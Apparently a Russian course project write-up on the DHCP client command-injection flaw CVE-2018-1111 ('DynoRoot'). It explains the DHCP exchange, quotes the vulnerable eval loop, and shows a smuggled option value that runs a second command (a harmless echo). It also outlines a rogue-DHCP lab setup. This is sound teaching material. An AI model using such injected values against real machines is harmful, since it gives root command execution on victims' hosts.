
Эксплуатация DHCP с помощью DynoRoot (CVE-2018-1111)
Этот проект демонстрирует известную уязвимость машин Fedora и RedHat, связанную с небезопасной реализацией клиентской части протокола Dynamic Host Configuration Protocol (DHCP). Поддельный DHCP-сервер может создавать DHCP-предложения с вредоносной нагрузкой, которая выполняется в корневой оболочке на машине жертвы.
Уязвимость приписывается Феликсу Вильгельму (Felix Wilhelm) и известна как CVE-2018-1111 или «DynoRoot».
Протокол Dynamic Host Configuration Protocol (DHCP) — это часто упускаемый из виду компонент в сетевых системах. Его роль заключается в динамической настройке машин-хостов, подключающихся к существующей сети. Наиболее распространенный случай использования — назначение IP-адреса вновь подключенным хостам и информирование о существующих маршрутах для доступа к другим сетям. Могут быть указаны дополнительные опции, например адрес локального DNS-сервера и обслуживаемая зона, или местоположение загрузочного файла.
Давайте проанализируем четырехшаговый протокол, который выполняется, когда новый хост хочет присоединиться к сети после физического подключения через Ethernet или беспроводное соединение.
DISCOVER в сеть.OFFER, содержащим: IP-адрес, маску подсети, адрес маршрутизатора и другие опции.REQUEST, официально запрашивая аренду IP-адреса, который был предложен.ACK, указывая, что клиенту разрешено использовать IP-адрес в течение заданного времени.После начального обмена клиент может продлить аренду, просто отправив еще одно сообщение REQUEST. Сервер проверит наличие аренды с IP-адресом и MAC-адресом клиента и ответит сообщением ACK.
Некоторые моменты, на которые стоит обратить внимание:
DISCOVER и сразу запросить REQUEST адрес. Это распространено в сценариях, когда клиент уже подключался к сети ранее и помнит предыдущий адрес. В этом случае сервер проверяет доступность адреса и подтверждает запрос ACK, или, если аренда недоступна, отправляет NACK.RELEASE, чтобы сообщить серверу, что адрес теперь доступен. Однако это не требуется протоколом, и сервер будет периодически собирать просроченные аренды.OFFER, он примет только один; остальные серверы увидят широковещательный REQUEST и отменят предложение.Уязвимость находится в /etc/NetworkManager/dispatcher.d/11-dhclient, который выполняется клиентом для разбора и установки опций, полученных через DHCP.
declare — это встроенная команда bash, которая при использовании без аргументов выводит все объявленные переменныеgrep фильтрует все переменные, связанные с DHCPwhile read opt перебирает переменные DHCP одну за другой, выполняет некоторый разбор и выводит строку вида export new_optionname=value для каждой опцииexport затем выполняются оболочкой через `eval````bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Обычная работа
В нормальных ситуациях код будет работать отлично и распарсит новые опции DHCP. Например, следующий код:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Будут выведены эти два оператора export для оценки с помощью eval:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Внедрение кода
Однако из-за небезопасного `eval` существует возможность внедрения команд bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Приведет к выполнению echo Hacked!:```text
[1] 1541
Hacked!
### Источники
- [Запись в базе эксплойтов](https://www.exploit-db.com/exploits/44890)
- [Объявление RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Пост в блоге Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Репозиторий GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Объявление в Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Настройка
Минимальная настройка для демонстрации эксплойта состоит всего из двух машин: машины `victim` под управлением Fedora 28 и машины `attacker`. В этой настройке атакующему нужно просто предоставить службу DHCP и дождаться подключения жертвы.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Минимальная настройка эксплойта.</figcaption>
</figure>
Более реалистичная настройка разместит машины в частной сети, где третья машина, `gateway`, настроена как доброкачественный DHCP-сервер и как шлюз к внешнему интернету. В этой настройке атакующему необходимо предотвратить подключение жертвы к легитимному DHCP-серверу, прежде чем надеяться выполнить атаку.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>Настройка частной сети с одной машиной-шлюзом, действующей как DHCP, маршрутизатор и межсетевой экран.</figcaption>
</figure>